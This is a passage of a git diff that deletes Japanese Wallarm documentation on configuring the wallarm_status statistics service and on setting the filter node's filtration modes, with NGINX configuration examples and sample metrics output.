wallarm_wstore_ssl_ca_cert_file - -[postanalyticsモジュールが提示するTLS証明書](installation-postanalytics-en.md#ssltls-connection-to-the-postanalytics-module)を検証するために使用する信頼された認証局（CA）証明書のパスを指定します。 - -カスタムCAが発行した証明書を使用するサーバーへ接続する場合に必要です。 - -このディレクティブはリリース6.2.0以降で利用可能です。 - -``` -wallarm_wstore_ssl_ca_cert_file /path/to/ca.crt; -``` - -!!! info - このパラメータはhttpブロック内でのみ設定します。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/configure-statistics-service.md b/docs/latest-ja/admin-en/configure-statistics-service.md deleted file mode 100644 index 6e1e1c307f..0000000000 --- a/docs/latest-ja/admin-en/configure-statistics-service.md +++ /dev/null @@ -1,468 +0,0 @@ -[doc-configure-kubernetes]: configure-kubernetes-en.md -[link-prometheus]: https://prometheus.io/ -[gl-lom]: ../glossary-en.md#custom-ruleset-the-former-term-is-lom -[doc-selinux]: ../troubleshooting/detection-and-blocking.md#filtering-node-rps-and-aps-values-are-not-exported-to-cloud - -# 統計サービス - -Wallarmの[NGINXまたはNative](../installation/nginx-native-node-internals.md)ノードの統計は、`wallarm_status`サービスで取得できます。本記事では、このサービスの設定方法と使用方法を説明します。 - -!!! info "Nativeノードの統計サービス" - [Native](../installation/nginx-native-node-internals.md#native-node)ノードでは、`wallarm_status`は利用可能ではあるもののレガシーサービスです。主たるサービスは`metrics`で、`curl localhost:9000/metrics`で利用できます（Nativeノードの設定にある["metrics"](../installation/native-node/all-in-one-conf.md#metricsenabled)パラメータをご参照ください）。 - -## セットアップ - -!!! warning "重要" - - 統計サービスは専用ファイルで設定し、他のNGINX設定ファイル内では`wallarm_status`ディレクティブを使用しないことを強く推奨します。後者は安全でない可能性があるためです。`wallarm-status`の設定ファイルは次の場所にあります: - - * オールインワンインストーラーの場合: `/etc/nginx/wallarm-status.conf` - * その他のインストールの場合: `/etc/nginx/conf.d/wallarm-status.conf` - - また、デフォルトの`wallarm-status`設定に含まれる既存の行は変更しないことを強く推奨します。 - -このディレクティブを使用すると、統計はJSON形式または[Prometheus][link-prometheus]互換形式で提供できます。使用方法: - -``` -wallarm_status [on|off] [format=json|prometheus]; -``` - -!!! info - このディレクティブは`server`および/または`location`コンテキストで設定できます。 - - ほとんどのデプロイメントオプションでは`format`パラメータのデフォルト値は`json`です。例外はNGINXベースのDockerイメージで、コンテナ外部から`/wallarm-status`エンドポイントを呼び出すと、Prometheus形式のメトリクスを返します。 - -### デフォルト設定 - -デフォルトでは、フィルタノードの統計サービスは最も安全な設定になっています。`/etc/nginx/conf.d/wallarm-status.conf`（オールインワンインストーラーの場合は`/etc/nginx/wallarm-status.conf`）の設定ファイルは次のとおりです: - -``` -server { - listen 127.0.0.8:80; - server_name localhost; - - allow 127.0.0.8/8; # フィルタノードサーバのループバックアドレスからのみアクセス可能です - # NGINXベースのDockerコンテナで実行している場合: - # allow 127.0.0.0/8; - deny all; - - wallarm_mode off; - disable_acl "on"; # リクエスト送信元のチェックは無効化され、denylistにあるIPでもwallarm-statusサービスへのリクエストが許可されます。 https://docs.wallarm.com/admin-en/configure-parameters-en/#disable_acl - wallarm_enable_apifw off; - access_log off; - - location /wallarm-status { - wallarm_status on; - } -} -``` - -### 統計の取得を許可するIPアドレスの制限 - -`wallarm_status`ディレクティブの設定時に、統計をリクエストできる送信元IPアドレスを指定できます。デフォルトでは、`127.0.0.1`と`::1`のIPアドレスを除きアクセスは拒否され、Wallarmをインストールしたサーバからのみリクエストを実行できます。 - -別のサーバからのリクエストを許可するには: - -=== "オールインワンインストーラー" - 1. `/etc/nginx/wallarm-status.conf`ファイルで、許可したいサーバのIPアドレスを指定した`allow`ディレクティブを設定に追加します。例: - - ```diff - ... - server_name localhost; - - allow 127.0.0.8/8; - + allow 10.41.29.0; - ... - ``` - 1. 設定を変更したら、NGINXを再起動して反映します: - - --8<-- "../include/waf/restart-nginx-4.4-and-above.md" -=== "Dockerイメージ" - * Dockerコンテナを[環境変数のみを渡して実行している場合](installation-docker-en.md#run-the-container-passing-the-environment-variables)、許可するCIDRを環境変数`WALLARM_STATUS_ALLOW`で渡します。 - * Dockerコンテナを[設定ファイルをマウントして実行している場合](installation-docker-en.md#run-the-container-mounting-the-configuration-file): - - 1. 許可するアドレスを`allow`ディレクティブで指定した`wallarm-status.conf`ファイルを準備します。例: - - ```diff - server { - listen 127.0.0.8:80; - - server_name localhost; - - allow 127.0.0.0/8; - + allow 10.41.29.0; - deny all; - - wallarm_mode off; - disable_acl "on"; - wallarm_enable_apifw off; - access_log off; - - location ~/wallarm-status$ { - wallarm_status on; - } - } - ``` - - 1. コンテナを起動する際に、準備したファイルをコンテナ内の`/etc/nginx/conf.d/wallarm-status.conf`へマウントします。 - -=== "AWSまたはGCPのマシンイメージ" - 1. `/etc/nginx/conf.d/wallarm-status.conf`ファイルで、許可したいサーバのIPアドレスを指定した`allow`ディレクティブを設定に追加します。例: - - ```diff - ... - server_name localhost; - - allow 127.0.0.8/8; - + allow 10.41.29.0; - ... - ``` - 1. 設定を変更したら、NGINXを再起動して反映します: - - --8<-- "../include/waf/restart-nginx-4.4-and-above.md" - -### 統計サービスのIPアドレスやポートの変更 - -統計サービスのIPアドレスやポートを変更するには、以下の手順に従います。 - -=== "オールインワンインストーラー" - 1. `/etc/nginx/wallarm-status.conf`ファイルを開き、`listen`ディレクティブに新しいサービスアドレスを指定します。 - 1. NGINXを再起動して変更を反映します: - - --8<-- "../include/waf/restart-nginx-4.4-and-above.md" -=== "Dockerイメージ" - * [NGINXベースのDockerイメージ](installation-docker-en.md)で統計サービスのデフォルトポートのみを変更する場合は、`NGINX_PORT`変数に新しいポートを設定してコンテナを起動します。その他の変更は不要です。 - * 統計サービスのIPアドレスとポートの両方を変更する場合: - - 1. `listen`ディレクティブに新しいアドレスを指定した`wallarm-status.conf`ファイルを準備します: - - ``` - server { - listen 127.0.0.8:80; - - server_name localhost; - - allow 127.0.0.8/8; - # NGINXベースのDockerコンテナで実行している場合: - # allow 127.0.0.0/8; - deny all; - - wallarm_mode off; - disable_acl "on"; - wallarm_enable_apifw off; - access_log off; - - location ~/wallarm-status$ { - wallarm_status on; - } - } - ``` - - 1. コンテナを起動する際に、準備したファイルをコンテナ内の`/etc/nginx/conf.d/wallarm-status.conf`へマウントします。 -=== "AWSまたはGCPのマシンイメージ" - 1. `/etc/nginx/conf.d/wallarm-status.conf`ファイルを開き、`listen`ディレクティブに新しいサービスアドレスを指定します。 - 1. NGINXを再起動して変更を反映します: - - --8<-- "../include/waf/restart-nginx-4.4-and-above.md" - -フィルタノードのホストにSELinuxがインストールされている場合は、SELinuxを[適切に設定するか、無効化][doc-selinux]してください。簡潔のため、本ドキュメントではSELinuxが無効であることを前提とします。 - -上記の設定を適用すると、ローカルの`wallarm-status`出力はリセットされることにご注意ください。 - -### Prometheus形式で統計を取得する - -ほとんどのデプロイメントオプションはデフォルトでJSON形式の統計を返します。NGINXベースのDockerイメージは例外で、コンテナ外部から`/wallarm-status`エンドポイントを呼び出すと、Prometheus形式のメトリクスを返します。 - -JSONがデフォルトのノードデプロイメントからPrometheus形式の統計を取得するには: - -1. 次の設定を`/etc/nginx/conf.d/wallarm-status.conf`ファイル（オールインワンインストーラーの場合は`/etc/nginx/wallarm-status.conf`）に追加します: - - - ```diff - ... - - location /wallarm-status { - wallarm_status on; - } - - + location /wallarm-status-prometheus { - + wallarm_status on format=prometheus; - + } - - ... - ``` - - !!! warning "デフォルトの`/wallarm-status`設定を削除・変更しないでください" - `/wallarm-status`ロケーションのデフォルト設定は削除や変更をしないでください。このエンドポイントの既定の動作は重要です。 -1. NGINXを再起動して変更を反映します: - - --8<-- "../include/waf/restart-nginx-4.4-and-above.md" -1. 新しいエンドポイントを呼び出してPrometheusメトリクスを取得します: - - ```bash - curl http://127.0.0.8/wallarm-status-prometheus - ``` - -## 使用方法 - -フィルタノードの統計を取得するには、許可されたIPアドレスのいずれかからリクエストします（上記参照）: - -=== "JSON形式の統計" - ``` - curl http://127.0.0.8/wallarm-status - ``` - - 結果として、次のようなレスポンスが得られます: - - ```json - { - "requests": 0, - "streams": 0, - "messages": 0, - "attacks": 0, - "blocked": 0, - "blocked_by_acl": 0, - "acl_allow_list": 0, - "abnormal": 0, - "tnt_errors": 0, - "api_errors": 0, - "requests_lost": 0, - "overlimits_time": 0, - "segfaults": 0, - "memfaults": 0, - "softmemfaults": 0, - "proton_errors": 0, - "time_detect": 0, - "db_id": 73, - "lom_id": 102, - "custom_ruleset_id": 102, - "custom_ruleset_ver": 51, - "db_apply_time": 1598525865, - "lom_apply_time": 1598525870, - "custom_ruleset_apply_time": 1598525870, - "proton_instances": { - "total": 3, - "success": 3, - "fallback": 0, - "failed": 0 - }, - "stalled_workers_count": 0, - "stalled_workers": [], - "ts_files": [ - { - "id": 102, - "size": 12624136, - "mod_time": 1598525870, - "fname": "/etc/wallarm/custom_ruleset" - } - ], - "db_files": [ - { - "id": 73, - "size": 139094, - "mod_time": 1598525865, - "fname": "/etc/wallarm/proton.db" - } - ], - "startid": 1459972331756458216, - "timestamp": 1664530105.868875, - "rate_limit": { - "shm_zone_size": 67108864, - "buckets_count": 4, - "entries": 1, - "delayed": 0, - "exceeded": 1, - "expired": 0, - "removed": 0, - "no_free_nodes": 0 - }, - "split": { - "clients": [ - { - "client_id": null, - "requests": 78, - "streams": 0, - "messages": 0, - "attacks": 0, - "blocked": 0, - "blocked_by_acl": 0, - "overlimits_time": 0, - "time_detect": 0, - "applications": [ - { - "app_id": 4, - "requests": 78, - "streams": 0, - "messages": 0, - "attacks": 0, - "blocked": 0, - "blocked_by_acl": 0, - "overlimits_time": 0, - "time_detect": 0 - } - ] - } - ] - } - } - ``` -=== "Prometheus形式の統計" - ``` - curl http://127.0.0.8/wallarm-status-prometheus - ``` - - アドレスは異なる場合があります。実際のアドレスは`/etc/nginx/conf.d/wallarm-status.conf`（オールインワンインストーラーの場合は`/etc/nginx/wallarm-status.conf`）でご確認ください。 - - 結果として、次のようなレスポンスが得られます: - - - ``` - # HELP wallarm_requests リクエスト数 - # TYPE wallarm_requests gauge - wallarm_requests 2 - # HELP wallarm_streams リクエスト数 - # TYPE wallarm_streams gauge - wallarm_streams 0 - # HELP wallarm_messages リクエスト数 - # TYPE wallarm_messages gauge - wallarm_messages 0 - # HELP wallarm_attacks 攻撃リクエスト数 - # TYPE wallarm_attacks gauge - wallarm_attacks 0 - # HELP wallarm_blocked ブロックされたリクエスト数 - # TYPE wallarm_blocked gauge - wallarm_blocked 0 - # HELP wallarm_blocked_by_acl ACLによってブロックされたリクエスト数 - # TYPE wallarm_blocked_by_acl gauge - wallarm_blocked_by_acl 0 - # HELP wallarm_acl_allow_list allowlistにより許可されたリクエスト数 - # TYPE wallarm_acl_allow_list gauge - wallarm_acl_allow_list 0 - # HELP wallarm_abnormal 異常と判定されたリクエスト数 - # TYPE wallarm_abnormal gauge - wallarm_abnormal 2 - # HELP wallarm_tnt_errors wstore書き込みエラー数 - # TYPE wallarm_tnt_errors gauge - wallarm_tnt_errors 0 - # HELP wallarm_api_errors API書き込みエラー数 - # TYPE wallarm_api_errors gauge - wallarm_api_errors 0 - # HELP wallarm_requests_lost ロストしたリクエスト数 - # TYPE wallarm_requests_lost gauge - wallarm_requests_lost 0 - # HELP wallarm_overlimits_time overlimits_time回数 - # TYPE wallarm_overlimits_time gauge - wallarm_overlimits_time 0 - # HELP wallarm_segfaults セグメンテーションフォールトの回数 - # TYPE wallarm_segfaults gauge - wallarm_segfaults 0 - # HELP wallarm_memfaults 仮想メモリ上限到達イベント数 - # TYPE wallarm_memfaults gauge - wallarm_memfaults 0 - # HELP wallarm_softmemfaults リクエストメモリ上限到達イベント数 - # TYPE wallarm_softmemfaults gauge - wallarm_softmemfaults 0 - # HELP wallarm_proton_errors libprotonのメモリ以外の障害イベント数 - # TYPE wallarm_proton_errors gauge - wallarm_proton_errors 0 - # HELP wallarm_time_detect_seconds 検知に費やした時間 - # TYPE wallarm_time_detect_seconds gauge - wallarm_time_detect_seconds 0 - # HELP wallarm_db_id proton.dbファイルID - # TYPE wallarm_db_id gauge - wallarm_db_id 71 - # HELP wallarm_lom_id LOMファイルID - # TYPE wallarm_lom_id gauge - wallarm_lom_id 386 - # HELP wallarm_custom_ruleset_id カスタムルールセットファイルID - # TYPE wallarm_custom_ruleset_id gauge - wallarm_custom_ruleset_id{format="51"} 386 - # HELP wallarm_custom_ruleset_ver カスタムルールセットのファイルフォーマットバージョン - # TYPE wallarm_custom_ruleset_ver gauge - wallarm_custom_ruleset_ver 51 - # HELP wallarm_db_apply_time proton.dbファイルの適用時刻 - # TYPE wallarm_db_apply_time gauge - wallarm_db_apply_time 1674548649 - # HELP wallarm_lom_apply_time LOMファイルの適用時刻 - # TYPE wallarm_lom_apply_time gauge - wallarm_lom_apply_time 1674153198 - # HELP wallarm_custom_ruleset_apply_time カスタムルールセットファイルの適用時刻 - # TYPE wallarm_custom_ruleset_apply_time gauge - wallarm_custom_ruleset_apply_time 1674153198 - # HELP wallarm_proton_instances protonインスタンス数 - # TYPE wallarm_proton_instances gauge - wallarm_proton_instances{status="success"} 5 - wallarm_proton_instances{status="fallback"} 0 - wallarm_proton_instances{status="failed"} 0 - # HELP wallarm_stalled_worker_time_seconds libprotonでスタックしたworkerの時間 - # TYPE wallarm_stalled_worker_time_seconds gauge - wallarm_stalled_worker_time_seconds{pid="3169104"} 25 - - # HELP wallarm_startid 一意の起動ID - # TYPE wallarm_startid gauge - wallarm_startid 3226376659815907920 - ``` - -利用可能なレスポンスパラメータは次のとおりです（Prometheusのメトリクスには`wallarm_`プレフィックスが付きます）: - -* `requests`: フィルタノードが処理したリクエスト数です。 -* `streams`（Wallarmリリース6.2.0以降で利用可能）: 処理されたgRPC/WebSocketストリームの数です。 -* `messages`（Wallarmリリース6.2.0以降で利用可能）: 処理されたgRPC/WebSocketメッセージの数です。 -* `attacks`: 記録された攻撃の数です。 -* `blocked`: [denylist](../user-guides/ip-lists/overview.md)にあるIPからのリクエストを含む、ブロックされたリクエストの数です。 -* `blocked_by_acl`: [denylist](../user-guides/ip-lists/overview.md)にある送信元によってブロックされたリクエストの数です。 -* `acl_allow_list`: [allowlist](../user-guides/ip-lists/overview.md)にある送信元からのリクエスト数です。 -* `abnormal`: アプリケーションが異常と見なしたリクエストの数です。 -* `tnt_errors`: ポストアナリティクスモジュールで解析されなかったリクエストの数です。これらのリクエストについてはブロック理由は記録されますが、リクエスト自体は統計やふるまい検査にカウントされません。 -* `api_errors`: さらなる解析のためにAPIへ送信されなかったリクエストの数です。これらのリクエストにはブロックパラメータが適用されます（つまり、システムがブロッキングモードで動作している場合は不正なリクエストがブロックされます）が、これらのイベントのデータはUIには表示されません。このパラメータは、Wallarmノードがローカルのポストアナリティクスモジュールと連携している場合にのみ使用されます。 -* `requests_lost`: ポストアナリティクスモジュールで解析されずAPIへ転送されたリクエストの数です。これらのリクエストにはブロックパラメータが適用されます（つまり、システムがブロッキングモードで動作している場合は不正なリクエストがブロックされます）が、これらのイベントのデータはUIには表示されません。このパラメータは、Wallarmノードがローカルのポストアナリティクスモジュールと連携している場合にのみ使用されます。 -* `overlimits_time`: フィルタリングノードが検出した[計算資源の過剰制限](../attacks-vulns-list.md#resource-overlimit)タイプの攻撃数です。 -* `segfaults`: workerプロセスの緊急終了を引き起こした問題の回数です。 -* `memfaults`: 仮想メモリの上限に達した問題の回数です。 -* `softmemfaults`: proton.db +lomの仮想メモリ上限を超過した問題の回数です（[`wallarm_general_ruleset_memory_limit`](configure-parameters-en.md#wallarm_general_ruleset_memory_limit)）。 -* `proton_errors`: 仮想メモリ上限超過によるものを除く、proton.dbのエラー数です。 -* `time_detect`: リクエスト解析に要した総時間です。 -* `db_id`: proton.dbのバージョンです。 -* `lom_id`: まもなく廃止予定です。`custom_ruleset_id`を使用してください。 -* `custom_ruleset_id`: [カスタムルールセット][gl-lom]ビルドのバージョンです。 - - リリース4.8以降、Prometheus形式では`wallarm_custom_ruleset_id{format="51"} 386`のように表示され、`format`属性内の`custom_ruleset_ver`がフォーマットバージョンで、メインの値がルールセットのビルドバージョンになります。 -* `custom_ruleset_ver`（Wallarmリリース4.4.3以降で利用可能）: [カスタムルールセット][gl-lom]のフォーマットです: - - * `4x` - [サポート終了](../updating-migrating/versioning-policy.md#version-list)となっているWallarmノード2.x向け。 - * `5x` - Wallarmノード4.xおよび3.x向け（後者は[サポート終了](../updating-migrating/versioning-policy.md#version-list)）。 -* `db_apply_time`: proton.dbファイルの最終更新のUnix時間です。 -* `lom_apply_time`: まもなく廃止予定です。`custom_ruleset_apply_time`を使用してください。 -* `custom_ruleset_apply_time`: [カスタムルールセット](../glossary-en.md#custom-ruleset-the-former-term-is-lom)ファイルの最終更新のUnix時間です。 -* `proton_instances`: ダウンロードされたproton.db + LOMのペアに関する情報です: - * `total`: ペアの総数です。 - * `success`: Wallarm Cloudから正常にダウンロードされたペア数です。 - * `fallback`: バックアップディレクトリからダウンロードされたペア数です。これは、Cloudから最新のproton.db + LOMをダウンロードする際に問題があったものの、[`wallarm_fallback`](configure-parameters-en.md#wallarm_fallback)ディレクティブが`on`であるため、NGINXがバックアップディレクトリから古いバージョンのproton.db + LOMを読み込めたことを示します。 - * `failed`: 初期化に失敗したペア数です。つまり、NGINXがCloudおよびバックアップディレクトリのいずれからもproton.db + LOMをダウンロードできなかったことを意味します。[`wallarm_fallback`](configure-parameters-en.md#wallarm_fallback)が有効でこれが発生した場合、Wallarmモジュールは無効化され、NGINXモジュールのみが動作します。原因調査にはNGINXのログを確認するか、[Wallarmサポート](https://support.wallarm.com/)へお問い合わせいただくことを推奨します。 -* `stalled_workers_count`: リクエスト処理の時間制限を超えたworkerの数です（制限は[`wallarm_stalled_worker_timeout`](configure-parameters-en.md#wallarm_stalled_worker_timeout)ディレクティブで設定します）。 -* `stalled_workers`: リクエスト処理の時間制限を超えたworkerの一覧と、処理に費やした時間です（制限は[`wallarm_stalled_worker_timeout`](configure-parameters-en.md#wallarm_stalled_worker_timeout)ディレクティブで設定します）。 -* `ts_files`: [LOM](../glossary-en.md#custom-ruleset-the-former-term-is-lom)ファイルに関する情報です: - * `id`: 使用中のLOMのバージョンです。 - * `size`: LOMファイルサイズ（バイト）です。 - * `mod_time`: LOMファイルの最終更新のUnix時間です。 - * `fname`: LOMファイルへのパスです。 -* `db_files`: proton.dbファイルに関する情報です: - * `id`: 使用中のproton.dbのバージョンです。 - * `size`: proton.dbファイルサイズ（バイト）です。 - * `mod_time`: proton.dbファイルの最終更新のUnix時間です。 - * `fname`: proton.dbファイルへのパスです。 -* `startid`: フィルタノードのランダムに生成された一意のIDです。 -* `timestamp`: 直近の受信リクエストがノードで処理された時刻です（[Unix Timestamp](https://www.unixtimestamp.com/)形式）。 -* `rate_limit`: Wallarmの[レート制限](../user-guides/rules/rate-limiting.md)モジュールに関する情報です: - * `shm_zone_size`: Wallarmのレート制限モジュールが消費できる共有メモリの総量（バイト）です（[`wallarm_rate_limit_shm_size`](configure-parameters-en.md#wallarm_rate_limit_shm_size)ディレクティブを基に決まり、デフォルトは`67108864`です）。 - * `buckets_count`: バケットの数です（通常はNGINXのworker数に等しく、最大は8です）。 - * `entries`: 制限を計測する一意のリクエストポイント値（キー）の数です。 - * `delayed`: `burst`設定によりレート制限モジュールがバッファしたリクエスト数です。 - * `exceeded`: 上限超過によりレート制限モジュールが拒否したリクエスト数です。 - * `expired`: 60秒ごとの定期的な処理で、制限を超過しなかったキーがバケットから削除された累計数です。 - * `removed`: バケットから突発的に削除されたキーの数です。もし値が`expired`より大きい場合は、[`wallarm_rate_limit_shm_size`](configure-parameters-en.md#wallarm_rate_limit_shm_size)の値を増やしてください。 - * `no_free_nodes`: `0`以外の値は、レート制限モジュールに割り当てたメモリが不足していることを示します。[`wallarm_rate_limit_shm_size`](configure-parameters-en.md#wallarm_rate_limit_shm_size)の値を増やすことを推奨します。 -* `split.clients`: 各[テナント](../installation/multi-tenant/overview.md)の主要統計です。マルチテナンシー機能が有効でない場合、統計は唯一のテナント（お客様のアカウント）に対して返され、`"client_id":null`という固定値になります。 -* `split.clients.applications`: 各[アプリケーション](../user-guides/settings/applications.md)の主要統計です。このセクションに含まれていないパラメータは、すべてのアプリケーションに関する統計を返します。 - -すべてのカウンタのデータは、NGINXの起動時点から累積されます。既存のNGINXがあるインフラにWallarmを導入した場合は、統計の収集を開始するためにNGINXサーバを再起動する必要があります。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/configure-wallarm-mode.md b/docs/latest-ja/admin-en/configure-wallarm-mode.md deleted file mode 100644 index fcc2bc1ca9..0000000000 --- a/docs/latest-ja/admin-en/configure-wallarm-mode.md +++ /dev/null @@ -1,310 +0,0 @@ -[api-discovery-enable-link]: ../api-discovery/setup.md#enable -[link-wallarm-mode-override]: ../admin-en/configure-parameters-en.md#wallarm_mode_allow_override -[rule-creation-options]: ../user-guides/events/check-attack.md#attack-analysis_1 -[acl-access-phase]: ../admin-en/configure-parameters-en.md#wallarm_acl_access_phase -[img-mode-rule]: ../images/user-guides/rules/wallarm-mode-rule.png - -# フィルタリングモード - -フィルタリングモードは、受信リクエストを処理する際のフィルタリングノードの動作を定義します。本ドキュメントでは、利用可能なフィルタリングモードとその設定方法を説明します。 - -## 利用可能なフィルタリングモード {#available-filtration-modes} - -Wallarmフィルタリングノードは、次のモードで受信リクエストを処理できます（弱い→強いの順）: - -* `off` -* `monitoring` -* `safe_blocking` - ブロックが安全と判断される場合のみブロックします（[graylist](../user-guides/ip-lists/overview.md)）。 -* `block` - ---8<-- "../include/wallarm-modes-description-5.0.md" - -## 設定方法 - -フィルタリングモードは次の方法で設定できます: - -* [ノード側で`wallarm_mode`ディレクティブを設定する](#setting-wallarm_mode-directive) -* [Wallarm Consoleで全体のフィルタリングモードを定義する](#general-filtration-mode) -* [Wallarm Consoleで条件付きフィルタリングモードを定義する](#conditioned-filtration-mode) - -フィルタリングモードの設定方法の優先順位は、[`wallarm_mode_allow_override`ディレクティブ](#prioritization-of-methods)で決まります。デフォルトでは、`wallarm_mode`ディレクティブの値の強さに関係なく、Wallarm Consoleで指定した設定の方が高い優先度を持ちます。 - -### `wallarm_mode`ディレクティブの設定 {#setting-wallarm_mode-directive} - -ノード側では[`wallarm_mode`](../admin-en/configure-parameters-en.md#wallarm_mode)ディレクティブを使用してノードのフィルタリングモードを設定できます。デプロイメントごとの設定の特徴は以下のとおりです。 - -なお、ここで説明する設定は[in-line](../installation/inline/overview.md)デプロイにのみ適用されます。[out-of-band (OOB)](../installation/oob/overview.md)ソリューションでは`monitoring`モードのみ有効にできます。 - -=== "All-in-oneインストーラー" - - Linuxに[All-in-oneインストーラー](../installation/nginx/all-in-one.md)でインストールしたNGINXベースのノードでは、フィルタリングノードの設定ファイルで`wallarm_mode`ディレクティブを設定できます。複数のコンテキストに対してフィルタリングモードを定義できます。これらのコンテキストは、よりグローバルなものからローカルなものへ、次の順序で適用されます: - - * `http`: ディレクティブはHTTPサーバーに送信されるリクエストに適用されます。 - * `server`: ディレクティブは仮想サーバーに送信されるリクエストに適用されます。 - * `location`: ディレクティブはその特定のパスを含むリクエストにのみ適用されます。 - - 同じ設定ファイル内で`http`、`server`、`location`ブロックに異なる`wallarm_mode`値を設定した場合は、最もローカルな設定が最優先されます。 - - 下記の[設定例](#configuration-example)をご覧ください。 - -=== "DockerのNGINXベースイメージ" - - NGINXベースのWallarmノードをDockerコンテナでデプロイする場合は、`WALLARM_MODE`環境変数を[指定します](../admin-en/installation-docker-en.md#run-the-container-passing-the-environment-variables): - - ``` - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e WALLARM_LABELS='group=' -e NGINX_BACKEND='example.com' -e WALLARM_API_HOST='us1.api.wallarm.com' -e WALLARM_MODE='monitoring' -p 80:80 wallarm/node:6.4.1 - ``` - - または、[設定ファイルに該当パラメータを含め](../admin-en/installation-docker-en.md#run-the-container-mounting-the-configuration-file)、このファイルをマウントしてコンテナを実行します。 - -=== "NGINX Ingress controller" - - NGINX Ingress controllerの場合は、`wallarm-mode`アノテーションを使用します: - - ``` - kubectl annotate ingress -n nginx.ingress.kubernetes.io/wallarm-mode=monitoring - ``` - - フィルタリングモードを`monitoring`に設定してNGINXベースのIngress controllerのトラフィック解析を[有効化する例](../admin-en/installation-kubernetes-en.md#step-2-enabling-traffic-analysis-for-your-ingress)をご覧ください。 - -=== "Sidecar" - - Wallarm Sidecarソリューションでは、デフォルトの`values.yaml`のWallarm固有セクションで`mode`パラメータを設定します: - - ``` - config: - wallarm: - ... - mode: monitoring - modeAllowOverride: "on" - ``` - - Sidecarのフィルタリングモード指定の詳細は[こちら](../installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md)をご覧ください。 - -=== "Edge Connectors" - - [Security Edge connectors](../installation/security-edge/se-connector.md)では、コネクタのデプロイ時に**Filtration mode**セレクタで`wallarm_mode`の値を指定します。 -=== "Native Node" - * Native NodeのAll-in-oneインストーラーおよびDockerイメージでは、[`route_config.wallarm_mode`](../installation/native-node/all-in-one-conf.md#route_configwallarm_mode)パラメータを使用します。 - * Native NodeのHelmチャートでは、[`config.connector.route_config.wallarm_mode`](../installation/native-node/helm-chart-conf.md#configconnectorroute_configwallarm_mode)パラメータを使用します。 - -### 全体のフィルタリングモード {#general-filtration-mode} - -全ての受信リクエストに対する全体のフィルタリングモードは、Mitigation controls（[Advanced API Security](../about-wallarm/subscription-plans.md#core-subscription-plans)サブスクリプション）またはRules（[Cloud Native WAAP](../about-wallarm/subscription-plans.md#core-subscription-plans)サブスクリプション）を使用して定義できます。 - -=== "Mitigation controls" - - 全ての受信リクエストの全体フィルタリングモードは、“all traffic” **Real-time blocking mode**[mitigation control](../about-wallarm/mitigation-controls-overview.md)で定義します: - - | 設定 | フィルタリングモード | - | --- | --- | - | **Inherited** | フィルタリングモードは、[all-traffic **Real-time blocking mode**](../admin-en/configure-wallarm-mode.md#general-filtration-mode)およびWallarmノードの[設定](../admin-en/configure-wallarm-mode.md#setting-wallarm_mode-directive)から継承されます。 | - | **Excluding** | `off` | - | **Monitoring** | `monitoring` | - | **Safe blocking** | `safe_blocking` | - | **Blocking** | `block` | - - 既定は**Inherited**です。グローバルモードはいつでも変更できます。 - -=== "Rules" - - 全ての受信リクエストに対する全体のフィルタリングモードは、[US](https://us1.my.wallarm.com/settings/general)または[EU](https://my.wallarm.com/settings/general) Cloudの**Settings** → **General**で定義できます。 - - ![一般設定タブ](../images/configuration-guides/configure-wallarm-mode/en/general-settings-page-with-safe-blocking.png) - - 全体のフィルタリングモード設定は、**Rules WAF**セクションの**Set filtration mode**[default](../user-guides/rules/rules.md#default-rules)ルールとして表されます。このセクションでエンドポイントを対象とするフィルタリングルールの方が高い優先度を持つ点にご注意ください。 - -### 条件付きフィルタリングモード {#conditioned-filtration-mode} - -特定のブランチやエンドポイント、その他の条件に基づくフィルタリングモードは、Mitigation controls（[Advanced API Security](../about-wallarm/subscription-plans.md#core-subscription-plans)サブスクリプション）またはRules（[Cloud Native WAAP](../about-wallarm/subscription-plans.md#core-subscription-plans)サブスクリプション）で設定できます。 - -=== "Mitigation controls" - - 特定のブランチやエンドポイント、その他の条件に基づいてフィルタリングモードを設定できます。Wallarmは**Real-time blocking mode**[mitigation control](../about-wallarm/mitigation-controls-overview.md)を提供します。 - - その前に:**Mitigation Controls**の記事（[こちら](../about-wallarm/mitigation-controls-overview.md#configuration)）で、任意のmitigation controlに対して**Scope**と**Mitigation mode**をどのように設定するかをご確認ください。 - - 新しいフィルタリングモードのmitigation controlを作成するには: - - 1. Wallarm Console → **Mitigation Controls**に進みます。 - 1. **Add control** → **Real-time blocking mode**を使用します。 - 1. **Scope**に適用する対象を記述します。 - 1. **Mitigation mode**セクションで、指定したスコープに対するフィルタリングモードを選択します: - - | 設定 | フィルタリングモード | - | --- | --- | - | **Inherited** | フィルタリングモードは、[all-traffic **Real-time blocking mode**](../admin-en/configure-wallarm-mode.md#general-filtration-mode)およびWallarmノードの[設定](../admin-en/configure-wallarm-mode.md#setting-wallarm_mode-directive)から継承されます。 | - | **Excluding** | `off` | - | **Monitoring** | `monitoring` | - | **Safe blocking** | `safe_blocking` | - | **Blocking** | `block` | - - 1. 変更を保存し、[mitigation controlのコンパイルが完了](../about-wallarm/mitigation-controls-overview.md#ruleset-lifecycle)するまでお待ちください。 - -=== "Rules" - - 特定のブランチやエンドポイント、その他の条件に基づいてフィルタリングモードを設定できます。これには**Set filtration mode**[rule](../user-guides/rules/rules.md)を使用します。これらのルールは、[Wallarm Consoleで設定する全体のフィルタリングルール](#general-filtration-mode)よりも高い優先度を持ちます。 - - 新しいフィルタリングモードのルールを作成するには: - - --8<-- "../include/rule-creation-initial-step.md" - - 1. **Fine-tuning attack detection** → **Override filtration mode**を選択します。 - 1. **If request is**で、ルールを適用するスコープを[記述します](../user-guides/rules/rules.md#configuring)。特定のブランチ、ヒット、またはエンドポイントからルール作成を始めた場合は、それらがスコープを定義します。必要に応じて条件を追加できます。 - 1. 指定したスコープに対するフィルタリングモードを選択します: - - | 設定 | フィルタリングモード | - | --- | --- | - | **Default** | フィルタリングモードは、[グローバルのフィルタリングモード設定](../admin-en/configure-wallarm-mode.md#general-filtration-mode)およびWallarmノードの[設定](../admin-en/configure-wallarm-mode.md#setting-wallarm_mode-directive)から継承されます。 | - | **Disabled** | `off` | - | **Monitoring** | `monitoring` | - | **Safe blocking** | `safe_blocking` | - | **Blocking** | `block` | - - 1. 変更を保存し、[ルールのコンパイルが完了](../user-guides/rules/rules.md#ruleset-lifecycle)するまでお待ちください。 - - なお、フィルタリングモードのルールは、[Wallarm 